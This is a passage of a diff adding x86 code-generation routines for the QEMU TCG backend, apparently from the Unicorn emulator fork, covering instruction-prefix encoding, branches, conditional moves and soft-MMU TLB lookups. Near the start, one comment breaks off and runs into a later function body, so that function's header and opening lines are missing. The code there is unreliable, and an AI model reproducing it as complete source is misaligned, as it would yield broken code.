[TCG_COND_GEU] = JCC_JAE, + [TCG_COND_LEU] = JCC_JBE, + [TCG_COND_GTU] = JCC_JA, +#endif +}; + +#if TCG_TARGET_REG_BITS == 64 +static void tcg_out_opc(TCGContext *s, int opc, int r, int rm, int x) +{ + int rex; + + if (opc & P_GS) { + tcg_out8(s, 0x65); + } + if (opc & P_DATA16) { + /* We should never be asking for both 16 and 64-bit operation. */ + assert((opc & P_REXW) == 0); + tcg_out8(s, 0x66); + } + if (opc & P_ADDR32) { + tcg_out8(s, 0x67); + } + + rex = 0; + rex |= (opc & P_REXW) ? 0x8 : 0x0; /* REX.W */ + rex |= (r & 8) >> 1; /* REX.R */ + rex |= (x & 8) >> 2; /* REX.X */ + rex |= (rm & 8) >> 3; /* REX.B */ + + /* P_REXB_{R,RM} indicates that the given register is the low byte. + For %[abcd]l we need no REX prefix, but for %{si,di,bp,sp}l we do, + as otherwise the encoding indicates %[abcd]h. Note that the values + that are ORed in merely indicate that the REX byte must be present; + those bits get discarded in output. */ + rex |= opc & (r >= 4 ? P_REXB_R : 0); + rex |= opc & (rm >= 4 ? P_REXB_RM : 0); + + if (rex) { + tcg_out8(s, (uint8_t)(rex | 0x40)); + } + + if (opc & (P_EXT | P_EXT38)) { + tcg_out8(s, 0x0f); + if (opc & P_EXT38) { + tcg_out8(s, 0x38); + } + } + + tcg_out8(s, opc); +} +#else +static void tcg_out_opc(TCGContext *s, int opc) +{ + if (opc & P_DATA16) { + tcg_out8(s, 0x66); + } + if (opc & (P_EXT | P_EXT38)) { + tcg_out8(s, 0x0f); + if (opc & P_EXT38) { + tcg_out8(s, 0x38); + } + } + tcg_out8(s, opc); +} +/* Discard the register arguments to tcg_out_opc early, so as not to penalize + the 32-bit compilation paths. This method works with all versions of gcc, + whereas relying on optimization may not be able to exclude them. */ +#define tcg_out_opc(s, opc, r, rm, x) (tcg_out_opc)(s, opc) +#endif + +static void tcg_out_modrm(TCGContext *s, int opc, int r, int rm) +{ + tcg_out_opc(s, opc, r, rm, 0); + tcg_out8(s, 0xc0 | (LOWREGMASK(r) << 3) | LOWREGMASK(rm)); +} + +static void tcg_out_vex_modrm(TCGContext *s, int opc, int r, int v, int rm) +{ + int tmp; + + if ((opc & (P_REXW | P_EXT | P_EXT38)) || (rm & 8)) { + /* Three byte VEX prefix. */ + tcg_out8(s, 0xc4); + + /* VEX.m-mmmm */ + if (opc & P_EXT38) { + tmp = 2; + } else if (opc & P_EXT) { + tmp = 1; + } else { + tcg_abort(); + } + tmp |= 0x40; /* VEX.X */ + tmp |= (r & 8 ? 0 : 0x80); /* VEX.R */ + tmp |= (rm & 8 ? 0 : 0x20); /* VEX.B */ + tcg_out8(s, tmp); + + tmp = (opc & P_REXW ? 0x80 : 0); /* VEX.W */ + } else { + /* Two byte VEX prefix. */ + tcg_out8(s, 0xc5); + + tmp = (r & 8 ? 0 : 0x80); /* VEX.R */ + } + /* VEX.pp */ + if (opc & P_DATA16) { + tmp |= 1; /* 0x66 */ + } else if (opc & P_SIMDF3) { + tmp |= 2; /* 0xf3 */ + } else if (opc & P_SIMDF2) { + tmp |= 3; /* 0xf2 */ + } + tmp |= (~v & 15) << 3; /* VEX.vvvv */ + tcg_out8(s, tmp); + tcg_out8(s, opc); + tcg_out8(s, 0xc0 | (LOWREGMASK(r) << 3) | LOWREGMASK(rm)); +} + +/* Output an opcode with a full "rm + (index<code_ptr + 5 + ~rm; + intptr_t disp = offset - pc; + if (disp == (int32_t)disp) { + tcg_out_opc(s, opc, r, 0, 0); + tcg_out8(s, (LOWREGMASK(r) << 3) | 5); + tcg_out32(s, disp); + return; + } + + /* Try for an absolute address encoding. This requires the + use of the MODRM+SIB encoding and is therefore larger than + rip-relative addressing. */ + if (offset == (int32_t)offset) { + tcg_out_opc(s, opc, r, 0, 0); + tcg_out8(s, (LOWREGMASK(r) << 3) | 4); + tcg_out8(s, (4 << 3) | 5); + tcg_out32(s, offset); + return; + } + + /* ??? The memory isn't directly addressable. */ + tcg_abort(); + } else { + /* Absolute address. */ + tcg_out_opc(s, opc, r, 0, 0); + tcg_out8(s, (r << 3) | 5); + tcg_out32(s, offset); + return; + } + } + + /* Find the length of the immediate addend. Note that the encoding + that would be used for (%ebp) indicates absolute addressing. */ + if (rm < 0) { + mod = 0, len = 4, rm = 5; + } else if (offset == 0 && LOWREGMASK(rm) != TCG_REG_EBP) { + mod = 0, len = 0; + } else if (offset == (int8_t)offset) { + mod = 0x40, len = 1; + } else { + mod = 0x80, len = 4; + } + + /* Use a single byte MODRM format if possible. Note that the encoding + that would be used for %esp is the escape to the two byte form. */ + if (index < 0 && LOWREGMASK(rm) != TCG_REG_ESP) { + /* Single byte MODRM format. */ + tcg_out_opc(s, opc, r, rm, 0); + tcg_out8(s, mod | (LOWREGMASK(r) << 3) | LOWREGMASK(rm)); + } else { + /* Two byte MODRM+SIB format. */ + + /* Note that the encoding that would place %esp into the index + field indicates no index register. In 64-bit mode, the REX.X + bit counts, so %r12 can be used as the index. */ + if (index < 0) { + index = 4; + } else { + assert(index != TCG_REG_ESP); + } + + tcg_out_opc(s, opc, r, rm, index); + tcg_out8(s, mod | (LOWREGMASK(r) << 3) | 4); + tcg_out8(s, (shift << 6) | (LOWREGMASK(index) << 3) | LOWREGMASK(rm)); + } + + if (len == 1) { + tcg_out8(s, offset); + } else if (len == 4) { + tcg_out32(s, offset); + } +} + +/* A simplification of the above with no index or shift. */ +static inline void tcg_out_modrm_offset(TCGContext *s, int opc, int r, + int rm, intptr_t offset) +{ + tcg_out_modrm_sib_offset(s, opc, r, rm, -1, 0, offset); +} + +/* Generate dest op= src. Uses the same ARITH_* codes as tgen_arithi. */ +static inline void tgen_arithr(TCGContext *s, int subop, int dest, int src) +{ + /* Propagate an opcode prefix, such as P_REXW. */ + int ext = subop & ~0x7; + subop &= 0x7; + + tcg_out_modrm(s, OPC_ARITH_GvEv + (subop << 3) + ext, dest, src); +} + +static inline void tcg_out_mov(TCGContext *s, TCGType type, + TCGReg ret, TCGReg arg) +{ + if (arg != ret) { + int opc = OPC_MOVL_GvEv + (type == TCG_TYPE_I64 ? P_REXW : 0); + tcg_out_modrm(s, opc, ret, arg); + } +} + +static void tcg_out_movi(TCGContext *s, TCGType type, + TCGReg ret, tcg_target_long arg) +{ + tcg_target_long diff; + + if (arg == 0) { + tgen_arithr(s, ARITH_XOR, ret, ret); + return; + } + if (arg == (uint32_t)arg || type == TCG_TYPE_I32) { + tcg_out_opc(s, OPC_MOVL_Iv + LOWREGMASK(ret), 0, ret, 0); + tcg_out32(s, arg); + return; + } + if (arg == (int32_t)arg) { + tcg_out_modrm(s, OPC_MOVL_EvIz + P_REXW, 0, ret); + tcg_out32(s, arg); + return; + } + + /* Try a 7 byte pc-relative lea before the 10 byte movq. */ + diff = arg - ((uintptr_t)s->code_ptr + 7); + if (diff == (int32_t)diff) { + tcg_out_opc(s, OPC_LEA | P_REXW, ret, 0, 0); + tcg_out8(s, (LOWREGMASK(ret) << 3) | 5); + tcg_out32(s, diff); + return; + } + + tcg_out_opc(s, OPC_MOVL_Iv + P_REXW + LOWREGMASK(ret), 0, ret, 0); + tcg_out64(s, arg); +} + +static inline void tcg_out_pushi(TCGContext *s, tcg_target_long val) +{ + if (val == (int8_t)val) { + tcg_out_opc(s, OPC_PUSH_Ib, 0, 0, 0); + tcg_out8(s, val); + } else if (val == (int32_t)val) { + tcg_out_opc(s, OPC_PUSH_Iv, 0, 0, 0); + tcg_out32(s, val); + } else { + tcg_abort(); + } +} + +static inline void tcg_out_push(TCGContext *s, int reg) +{ + tcg_out_opc(s, OPC_PUSH_r32 + LOWREGMASK(reg), 0, reg, 0); +} + +static inline void tcg_out_pop(TCGContext *s, int reg) +{ + tcg_out_opc(s, OPC_POP_r32 + LOWREGMASK(reg), 0, reg, 0); +} + +static inline void tcg_out_ld(TCGContext *s, TCGType type, TCGReg ret, + TCGReg arg1, intptr_t arg2) +{ + int opc = OPC_MOVL_GvEv + (type == TCG_TYPE_I64 ? P_REXW : 0); + tcg_out_modrm_offset(s, opc, ret, arg1, arg2); +} + +static inline void tcg_out_st(TCGContext *s, TCGType type, TCGReg arg, + TCGReg arg1, intptr_t arg2) +{ + int opc = OPC_MOVL_EvGv + (type == TCG_TYPE_I64 ? P_REXW : 0); + tcg_out_modrm_offset(s, opc, arg, arg1, arg2); +} + +static inline void tcg_out_sti(TCGContext *s, TCGType type, TCGReg base, + tcg_target_long ofs, tcg_target_long val) +{ + int opc = OPC_MOVL_EvIz + (type == TCG_TYPE_I64 ? P_REXW : 0); + tcg_out_modrm_offset(s, opc, 0, base, ofs); + tcg_out32(s, val); +} + +static void tcg_out_shifti(TCGContext *s, int subopc, int reg, int count) +{ + /* Propagate an opcode prefix, such as P_DATA16. */ + int ext = subopc & ~0x7; + subopc &= 0x7; + + if (count == 1) { + tcg_out_modrm(s, OPC_SHIFT_1 + ext, subopc, reg); + } else { + tcg_out_modrm(s, OPC_SHIFT_Ib + ext, subopc, reg); + tcg_out8(s, count); + } +} + +static inline void tcg_out_bswap32(TCGContext *s, int reg) +{ + tcg_out_opc(s, OPC_BSWAP + LOWREGMASK(reg), 0, reg, 0); +} + +static inline void tcg_out_rolw_8(TCGContext *s, int reg) +{ + tcg_out_shifti(s, SHIFT_ROL + P_DATA16, reg, 8); +} + +static inline void tcg_out_ext8u(TCGContext *s, int dest, int src) +{ + /* movzbl */ + assert(src < 4 || TCG_TARGET_REG_BITS == 64); + tcg_out_modrm(s, OPC_MOVZBL + P_REXB_RM, dest, src); +} + +static void tcg_out_ext8s(TCGContext *s, int dest, int src, int rexw) +{ + /* movsbl */ + assert(src < 4 || TCG_TARGET_REG_BITS == 64); + tcg_out_modrm(s, OPC_MOVSBL + P_REXB_RM + rexw, dest, src); +} + +static inline void tcg_out_ext16u(TCGContext *s, int dest, int src) +{ + /* movzwl */ + tcg_out_modrm(s, OPC_MOVZWL, dest, src); +} + +static inline void tcg_out_ext16s(TCGContext *s, int dest, int src, int rexw) +{ + /* movsw[lq] */ + tcg_out_modrm(s, OPC_MOVSWL + rexw, dest, src); +} + +static inline void tcg_out_ext32u(TCGContext *s, int dest, int src) +{ + /* 32-bit mov zero extends. */ + tcg_out_modrm(s, OPC_MOVL_GvEv, dest, src); +} + +static inline void tcg_out_ext32s(TCGContext *s, int dest, int src) +{ + tcg_out_modrm(s, OPC_MOVSLQ, dest, src); +} + +static inline void tcg_out_bswap64(TCGContext *s, int reg) +{ + tcg_out_opc(s, OPC_BSWAP + P_REXW + LOWREGMASK(reg), 0, reg, 0); +} + +static void tgen_arithi(TCGContext *s, int c, int r0, + tcg_target_long val, int cf) +{ + int rexw = 0; + + if (TCG_TARGET_REG_BITS == 64) { + rexw = c & -8; + c &= 7; + } + + /* ??? While INC is 2 bytes shorter than ADDL $1, they also induce + partial flags update stalls on Pentium4 and are not recommended + by current Intel optimization manuals. */ + if (!cf && (c == ARITH_ADD || c == ARITH_SUB) && (val == 1 || val == -1)) { + int is_inc = (c == ARITH_ADD) ^ (val < 0); + if (TCG_TARGET_REG_BITS == 64) { + /* The single-byte increment encodings are re-tasked as the + REX prefixes. Use the MODRM encoding. */ + tcg_out_modrm(s, OPC_GRP5 + rexw, + (is_inc ? EXT5_INC_Ev : EXT5_DEC_Ev), r0); + } else { + tcg_out8(s, (is_inc ? OPC_INC_r32 : OPC_DEC_r32) + r0); + } + return; + } + + if (c == ARITH_AND) { + if (TCG_TARGET_REG_BITS == 64) { + if (val == 0xffffffffu) { + tcg_out_ext32u(s, r0, r0); + return; + } + if (val == (uint32_t)val) { + /* AND with no high bits set can use a 32-bit operation. */ + rexw = 0; + } + } + if (val == 0xffu && (r0 < 4 || TCG_TARGET_REG_BITS == 64)) { + tcg_out_ext8u(s, r0, r0); + return; + } + if (val == 0xffffu) { + tcg_out_ext16u(s, r0, r0); + return; + } + } + + if (val == (int8_t)val) { + tcg_out_modrm(s, OPC_ARITH_EvIb + rexw, c, r0); + tcg_out8(s, val); + return; + } + if (rexw == 0 || val == (int32_t)val) { + tcg_out_modrm(s, OPC_ARITH_EvIz + rexw, c, r0); + tcg_out32(s, val); + return; + } + + tcg_abort(); +} + +static void tcg_out_addi(TCGContext *s, int reg, tcg_target_long val) +{ + if (val != 0) { + tgen_arithi(s, ARITH_ADD + P_REXW, reg, val, 0); + } +} + +/* Use SMALL != 0 to force a short forward branch. */ +static void tcg_out_jxx(TCGContext *s, int opc, int label_index, int smallflag) +{ + int32_t val, val1; + TCGLabel *l = &s->labels[label_index]; + + if (l->has_value) { + val = tcg_pcrel_diff(s, l->u.value_ptr); + val1 = val - 2; + if ((int8_t)val1 == val1) { + if (opc == -1) { + tcg_out8(s, OPC_JMP_short); + } else { + tcg_out8(s, OPC_JCC_short + opc); + } + tcg_out8(s, val1); + } else { + if (smallflag) { + tcg_abort(); + } + if (opc == -1) { + tcg_out8(s, OPC_JMP_long); + tcg_out32(s, val - 5); + } else { + tcg_out_opc(s, OPC_JCC_long + opc, 0, 0, 0); + tcg_out32(s, val - 6); + } + } + } else if (smallflag) { + if (opc == -1) { + tcg_out8(s, OPC_JMP_short); + } else { + tcg_out8(s, OPC_JCC_short + opc); + } + tcg_out_reloc(s, s->code_ptr, R_386_PC8, label_index, -1); + s->code_ptr += 1; + } else { + if (opc == -1) { + tcg_out8(s, OPC_JMP_long); + } else { + tcg_out_opc(s, OPC_JCC_long + opc, 0, 0, 0); + } + tcg_out_reloc(s, s->code_ptr, R_386_PC32, label_index, -4); + s->code_ptr += 4; + } +} + +static void tcg_out_cmp(TCGContext *s, TCGArg arg1, TCGArg arg2, + int const_arg2, int rexw) +{ + if (const_arg2) { + if (arg2 == 0) { + /* test r, r */ + tcg_out_modrm(s, OPC_TESTL + rexw, arg1, arg1); + } else { + tgen_arithi(s, ARITH_CMP + rexw, arg1, arg2, 0); + } + } else { + tgen_arithr(s, ARITH_CMP + rexw, arg1, arg2); + } +} + +static void tcg_out_brcond32(TCGContext *s, TCGCond cond, + TCGArg arg1, TCGArg arg2, int const_arg2, + int label_index, int smallflag) +{ + tcg_out_cmp(s, arg1, arg2, const_arg2, 0); + tcg_out_jxx(s, tcg_cond_to_jcc[cond], label_index, smallflag); +} + +#if TCG_TARGET_REG_BITS == 64 +static void tcg_out_brcond64(TCGContext *s, TCGCond cond, + TCGArg arg1, TCGArg arg2, int const_arg2, + int label_index, int smallflag) +{ + tcg_out_cmp(s, arg1, arg2, const_arg2, P_REXW); + tcg_out_jxx(s, tcg_cond_to_jcc[cond], label_index, smallflag); +} +#else +/* XXX: we implement it at the target level to avoid having to + handle cross basic blocks temporaries */ +static void tcg_out_brcond2(TCGContext *s, const TCGArg *args, + const int *const_args, int smallflag) +{ + int label_next; + label_next = gen_new_label(s); + switch(args[4]) { + case TCG_COND_EQ: + tcg_out_brcond32(s, TCG_COND_NE, args[0], args[2], const_args[2], + label_next, 1); + tcg_out_brcond32(s, TCG_COND_EQ, args[1], args[3], const_args[3], + args[5], smallflag); + break; + case TCG_COND_NE: + tcg_out_brcond32(s, TCG_COND_NE, args[0], args[2], const_args[2], + args[5], smallflag); + tcg_out_brcond32(s, TCG_COND_NE, args[1], args[3], const_args[3], + args[5], smallflag); + break; + case TCG_COND_LT: + tcg_out_brcond32(s, TCG_COND_LT, args[1], args[3], const_args[3], + args[5], smallflag); + tcg_out_jxx(s, JCC_JNE, label_next, 1); + tcg_out_brcond32(s, TCG_COND_LTU, args[0], args[2], const_args[2], + args[5], smallflag); + break; + case TCG_COND_LE: + tcg_out_brcond32(s, TCG_COND_LT, args[1], args[3], const_args[3], + args[5], smallflag); + tcg_out_jxx(s, JCC_JNE, label_next, 1); + tcg_out_brcond32(s, TCG_COND_LEU, args[0], args[2], const_args[2], + args[5], smallflag); + break; + case TCG_COND_GT: + tcg_out_brcond32(s, TCG_COND_GT, args[1], args[3], const_args[3], + args[5], smallflag); + tcg_out_jxx(s, JCC_JNE, label_next, 1); + tcg_out_brcond32(s, TCG_COND_GTU, args[0], args[2], const_args[2], + args[5], smallflag); + break; + case TCG_COND_GE: + tcg_out_brcond32(s, TCG_COND_GT, args[1], args[3], const_args[3], + args[5], smallflag); + tcg_out_jxx(s, JCC_JNE, label_next, 1); + tcg_out_brcond32(s, TCG_COND_GEU, args[0], args[2], const_args[2], + args[5], smallflag); + break; + case TCG_COND_LTU: + tcg_out_brcond32(s, TCG_COND_LTU, args[1], args[3], const_args[3], + args[5], smallflag); + tcg_out_jxx(s, JCC_JNE, label_next, 1); + tcg_out_brcond32(s, TCG_COND_LTU, args[0], args[2], const_args[2], + args[5], smallflag); + break; + case TCG_COND_LEU: + tcg_out_brcond32(s, TCG_COND_LTU, args[1], args[3], const_args[3], + args[5], smallflag); + tcg_out_jxx(s, JCC_JNE, label_next, 1); + tcg_out_brcond32(s, TCG_COND_LEU, args[0], args[2], const_args[2], + args[5], smallflag); + break; + case TCG_COND_GTU: + tcg_out_brcond32(s, TCG_COND_GTU, args[1], args[3], const_args[3], + args[5], smallflag); + tcg_out_jxx(s, JCC_JNE, label_next, 1); + tcg_out_brcond32(s, TCG_COND_GTU, args[0], args[2], const_args[2], + args[5], smallflag); + break; + case TCG_COND_GEU: + tcg_out_brcond32(s, TCG_COND_GTU, args[1], args[3], const_args[3], + args[5], smallflag); + tcg_out_jxx(s, JCC_JNE, label_next, 1); + tcg_out_brcond32(s, TCG_COND_GEU, args[0], args[2], const_args[2], + args[5], smallflag); + break; + default: + tcg_abort(); + } + tcg_out_label(s, label_next, s->code_ptr); +} +#endif + +static void tcg_out_setcond32(TCGContext *s, TCGCond cond, TCGArg dest, + TCGArg arg1, TCGArg arg2, int const_arg2) +{ + tcg_out_cmp(s, arg1, arg2, const_arg2, 0); + tcg_out_modrm(s, OPC_SETCC | tcg_cond_to_jcc[cond], 0, dest); + tcg_out_ext8u(s, dest, dest); +} + +#if TCG_TARGET_REG_BITS == 64 +static void tcg_out_setcond64(TCGContext *s, TCGCond cond, TCGArg dest, + TCGArg arg1, TCGArg arg2, int const_arg2) +{ + tcg_out_cmp(s, arg1, arg2, const_arg2, P_REXW); + tcg_out_modrm(s, OPC_SETCC | tcg_cond_to_jcc[cond], 0, dest); + tcg_out_ext8u(s, dest, dest); +} +#else +static void tcg_out_setcond2(TCGContext *s, const TCGArg *args, + const int *const_args) +{ + TCGArg new_args[6]; + int label_true, label_over; + + memcpy(new_args, args+1, 5*sizeof(TCGArg)); + + if (args[0] == args[1] || args[0] == args[2] + || (!const_args[3] && args[0] == args[3]) + || (!const_args[4] && args[0] == args[4])) { + /* When the destination overlaps with one of the argument + registers, don't do anything tricky. */ + label_true = gen_new_label(s); + label_over = gen_new_label(s); + + new_args[5] = label_true; + tcg_out_brcond2(s, new_args, const_args+1, 1); + + tcg_out_movi(s, TCG_TYPE_I32, args[0], 0); + tcg_out_jxx(s, JCC_JMP, label_over, 1); + tcg_out_label(s, label_true, s->code_ptr); + + tcg_out_movi(s, TCG_TYPE_I32, args[0], 1); + tcg_out_label(s, label_over, s->code_ptr); + } else { + /* When the destination does not overlap one of the arguments, + clear the destination first, jump if cond false, and emit an + increment in the true case. This results in smaller code. */ + + tcg_out_movi(s, TCG_TYPE_I32, args[0], 0); + + label_over = gen_new_label(s); + new_args[4] = tcg_invert_cond(new_args[4]); + new_args[5] = label_over; + tcg_out_brcond2(s, new_args, const_args+1, 1); + + tgen_arithi(s, ARITH_ADD, args[0], 1, 0); + tcg_out_label(s, label_over, s->code_ptr); + } +} +#endif + +static void tcg_out_movcond32(TCGContext *s, TCGCond cond, TCGArg dest, + TCGArg c1, TCGArg c2, int const_c2, + TCGArg v1) +{ + tcg_out_cmp(s, c1, c2, const_c2, 0); + if (have_cmov) { + tcg_out_modrm(s, OPC_CMOVCC | tcg_cond_to_jcc[cond], dest, v1); + } else { + int over = gen_new_label(s); + tcg_out_jxx(s, tcg_cond_to_jcc[tcg_invert_cond(cond)], over, 1); + tcg_out_mov(s, TCG_TYPE_I32, dest, v1); + tcg_out_label(s, over, s->code_ptr); + } +} + +#if TCG_TARGET_REG_BITS == 64 +static void tcg_out_movcond64(TCGContext *s, TCGCond cond, TCGArg dest, + TCGArg c1, TCGArg c2, int const_c2, + TCGArg v1) +{ + tcg_out_cmp(s, c1, c2, const_c2, P_REXW); + tcg_out_modrm(s, OPC_CMOVCC | tcg_cond_to_jcc[cond] | P_REXW, dest, v1); +} +#endif + +static void tcg_out_branch(TCGContext *s, int call, tcg_insn_unit *dest) +{ + intptr_t disp = tcg_pcrel_diff(s, dest) - 5; + + if (disp == (int32_t)disp) { + tcg_out_opc(s, call ? OPC_CALL_Jz : OPC_JMP_long, 0, 0, 0); + tcg_out32(s, disp); + } else { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_R10, (uintptr_t)dest); + tcg_out_modrm(s, OPC_GRP5, + call ? EXT5_CALLN_Ev : EXT5_JMPN_Ev, TCG_REG_R10); + } +} + +static inline void tcg_out_call(TCGContext *s, tcg_insn_unit *dest) +{ + tcg_out_branch(s, 1, dest); +} + +static void tcg_out_jmp(TCGContext *s, tcg_insn_unit *dest) +{ + tcg_out_branch(s, 0, dest); +} + +#if defined(CONFIG_SOFTMMU) +/* helper signature: helper_ret_ld_mmu(CPUState *env, target_ulong addr, + * int mmu_idx, uintptr_t ra) + */ +static void * const qemu_ld_helpers[16] = { +#ifdef _MSC_VER + helper_ret_ldub_mmu, // MO_UB +# ifdef HOST_WORDS_BIGENDIAN + helper_be_lduw_mmu, // MO_BEUW + helper_be_ldul_mmu, // MO_BEUL + helper_be_ldq_mmu, // MO_BEQ + 0, // MO_SB + 0, // MO_BESW + 0, // MO_BESL + 0, // n/a + 0, // n/a + helper_le_lduw_mmu, // MO_LEUW + helper_le_ldul_mmu, // MO_LEUL + helper_le_ldq_mmu, // MO_LEQ + 0, // n/a + 0, // MO_LESW + 0, // MO_LESL + 0, // n/a +# else // !HOST_WORDS_BIGENDIAN + helper_le_lduw_mmu, // MO_LEUW + helper_le_ldul_mmu, // MO_LEUL + helper_le_ldq_mmu, // MO_LEQ + 0, // MO_SB + 0, // MO_LESW + 0, // MO_LESL + 0, // n/a + 0, // n/a + helper_be_lduw_mmu, // MO_BEUW + helper_be_ldul_mmu, // MO_BEUL + helper_be_ldq_mmu, // MO_BEQ + 0, // n/a + 0, // MO_BESW + 0, // MO_BESL + 0, // n/a +# endif // HOST_WORDS_BIGENDIAN + +#else //_MSC_VER + [MO_UB] = helper_ret_ldub_mmu, + [MO_LEUW] = helper_le_lduw_mmu, + [MO_LEUL] = helper_le_ldul_mmu, + [MO_LEQ] = helper_le_ldq_mmu, + [MO_BEUW] = helper_be_lduw_mmu, + [MO_BEUL] = helper_be_ldul_mmu, + [MO_BEQ] = helper_be_ldq_mmu, +#endif // _MSC_VER +}; + +/* helper signature: helper_ret_st_mmu(CPUState *env, target_ulong addr, + * uintxx_t val, int mmu_idx, uintptr_t ra) + */ +static void * const qemu_st_helpers[16] = { +#ifdef _MSC_VER + helper_ret_stb_mmu, // MO_UB +# ifdef HOST_WORDS_BIGENDIAN + helper_be_stw_mmu, // MO_BEUW + helper_be_stl_mmu, // MO_BEUL + helper_be_stq_mmu, // MO_BEQ + 0, // MO_SB + 0, // MO_BESW + 0, // MO_BESL + 0, // n/a + 0, // n/a + helper_le_stw_mmu, // MO_LEUW + helper_le_stl_mmu, // MO_LEUL + helper_le_stq_mmu, // MO_LEQ + 0, // n/a + 0, // MO_LESW + 0, // MO_LESL + 0, // n/a +# else // !HOST_WORDS_BIGENDIAN + helper_le_stw_mmu, // MO_LEUW + helper_le_stl_mmu, // MO_LEUL + helper_le_stq_mmu, // MO_LEQ + 0, // MO_SB + 0, // MO_LESW + 0, // MO_LESL + 0, // n/a + 0, // n/a + helper_be_stw_mmu, // MO_BEUW + helper_be_stl_mmu, // MO_BEUL + helper_be_stq_mmu, // MO_BEQ + 0, // n/a + 0, // MO_BESW + 0, // MO_BESL + 0, // n/a +# endif // HOST_WORDS_BIGENDIAN + +#else //_MSC_VER + [MO_UB] = helper_ret_stb_mmu, + [MO_LEUW] = helper_le_stw_mmu, + [MO_LEUL] = helper_le_stl_mmu, + [MO_LEQ] = helper_le_stq_mmu, + [MO_BEUW] = helper_be_stw_mmu, + [MO_BEUL] = helper_be_stl_mmu, + [MO_BEQ] = helper_be_stq_mmu, +#endif // _MSC_VER +}; + +/* Perform the TLB load and compare. + + Inputs: + ADDRLO and ADDRHI contain the low and high part of the address. + + MEM_INDEX and S_BITS are the memory context and log2 size of the load. + + WHICH is the offset into the CPUTLBEntry structure of the slot to read. + This should be offsetof addr_read or addr_write. + + Outputs: + LABEL_PTRS is filled with 1 (32-bit addresses) or 2 (64-bit addresses) + positions of the displacements of forward jumps to the TLB miss case. + + Second argument register is loaded with the low part of the address. + In the TLB hit case, it has been adjusted as indicated by the TLB + and so is a host address. In the TLB miss case, it continues to + hold a guest address. + + First argument register is clobbered. */ + +static inline void tcg_out_tlb_load(TCGContext *s, TCGReg addrlo, TCGReg addrhi, + int mem_index, TCGMemOp s_bits, + tcg_insn_unit **label_ptr, int which) +{ + const TCGReg r0 = TCG_REG_L0; + const TCGReg r1 = TCG_REG_L1; + TCGType ttype = TCG_TYPE_I32; + TCGType htype = TCG_TYPE_I32; + int trexw = 0, hrexw = 0; + + if (TCG_TARGET_REG_BITS == 64) { + if (TARGET_LONG_BITS == 64) { + ttype = TCG_TYPE_I64; + trexw = P_REXW; + } + if (TCG_TYPE_PTR == TCG_TYPE_I64) { + htype = TCG_TYPE_I64; + hrexw = P_REXW; + } + } + + tcg_out_mov(s, htype, r0, addrlo); + tcg_out_mov(s, ttype, r1, addrlo); + + tcg_out_shifti(s, SHIFT_SHR + hrexw, r0, + TARGET_PAGE_BITS - CPU_TLB_ENTRY_BITS); + + tgen_arithi(s, ARITH_AND + trexw, r1, + TARGET_PAGE_MASK | ((1 << s_bits) - 1), 0); + tgen_arithi(s, ARITH_AND + hrexw, r0, + (CPU_TLB_SIZE - 1) << CPU_TLB_ENTRY_BITS, 0); + + tcg_out_modrm_sib_offset(s, OPC_LEA + hrexw, r0, TCG_AREG0, r0, 0, + offsetof(CPUArchState, tlb_table[mem_index][0]) + + which); + + /* cmp 0(r0), r1 */ + tcg_out_modrm_offset(s, OPC_CMP_GvEv + trexw, r1, r0, 0); + + /* Prepare for both the fast path add of the tlb addend, and the slow + path function argument setup. There are two cases worth note: + For 32-bit guest and x86_64 host, MOVL zero-extends the guest address + before the fastpath ADDQ below. For 64-bit guest and x32 host, MOVQ + copies the entire guest address for the slow path, while truncation + for the 32-bit host happens with the fastpath ADDL below. */ + tcg_out_mov(s, ttype, r1, addrlo); + + // Unicorn: fast path if hookmem is not enable + if (!HOOK_EXISTS(s->uc, UC_HOOK_MEM_READ) && !HOOK_EXISTS(s->uc, UC_HOOK_MEM_WRITE)) + tcg_out_opc(s, OPC_JCC_long + JCC_JNE, 0, 0, 0); + else + tcg_out_opc(s, OPC_JMP_long, 0, 0, 0); /* slow_path */ + label_ptr[0] = s->code_ptr; + s->code_ptr += 4; + + if (TARGET_LONG_BITS > TCG_TARGET_REG_BITS) { + /* cmp 4(r0), addrhi */ + tcg_out_modrm_offset(s, OPC_CMP_GvEv, addrhi, r0, 4); + + /* jne slow_path */ + tcg_out_opc(s, OPC_JCC_long + JCC_JNE, 0, 0, 0); + label_ptr[1] = s->code_ptr; + s->code_ptr += 4; + } + + /* TLB Hit. */ + + /* add addend(r0), r1 */ + tcg_out_modrm_offset(s, OPC_ADD_GvEv + hrexw, r1, r0, + offsetof(CPUTLBEntry, addend) - which); +} + +/* + * Record the context of a call to the out of line helper code for the slow path + * for a load or store, so that we can later generate the correct helper code + */ +static void add_qemu_ldst_label(TCGContext *s, bool is_ld, TCGMemOp opc, + TCGReg datalo, TCGReg datahi, + TCGReg addrlo, TCGReg addrhi, + int mem_index, tcg_insn_unit *raddr, + tcg_insn_unit **label_ptr) +{ + TCGLabelQemuLdst *label = new_ldst_label(s); + + label->is_ld = is_ld; + label->opc = opc; + label->datalo_reg = datalo; + label->datahi_reg = datahi; + label->addrlo_reg = addrlo; + label->addrhi_reg = addrhi; + label->mem_index = mem_index; + label->raddr = raddr; + label->label_ptr[0] = label_ptr[0]; + if (TARGET_LONG_BITS > TCG_TARGET_REG_BITS) { + label->label_ptr[1] = label_ptr[1]; + } +} + +/* + * Generate code for the slow path for a load at the end of block + */ +static void tcg_out_qemu_ld_slow_path(TCGContext *s, TCGLabelQemuLdst *l) +{ + TCGMemOp opc = l->opc; + TCGReg data_reg; + tcg_insn_unit **label_ptr = &l->label_ptr[0]; + + /* resolve label address */ + tcg_patch32(label_ptr[0], s->code_ptr - label_ptr[0] - 4); + if (TARGET_LONG_BITS > TCG_TARGET_REG_BITS) { + tcg_patch32(label_ptr[1], s->code_ptr - label_ptr[1] - 4); + } + + if (TCG_TARGET_REG_BITS == 32) { + int ofs = 0; + + tcg_out_st(s, TCG_TYPE_PTR, TCG_AREG0, TCG_REG_ESP, ofs); + ofs += 4; + + tcg_out_st(s, TCG_TYPE_I32, l->addrlo_reg, TCG_REG_ESP, ofs); + ofs += 4; + + if (TARGET_LONG_BITS == 64) { + tcg_out_st(s, TCG_TYPE_I32, l->addrhi_reg, TCG_REG_ESP, ofs); + ofs += 4; + } + + tcg_out_sti(s, TCG_TYPE_I32, TCG_REG_ESP, ofs, l->mem_index); + ofs += 4; + + tcg_out_sti(s, TCG_TYPE_I32, TCG_REG_ESP, ofs, (uintptr_t)l->raddr); + } else { + tcg_out_mov(s, TCG_TYPE_PTR, tcg_target_call_iarg_regs[0], TCG_AREG0); + /* The second argument is already loaded with addrlo. */ + tcg_out_movi(s, 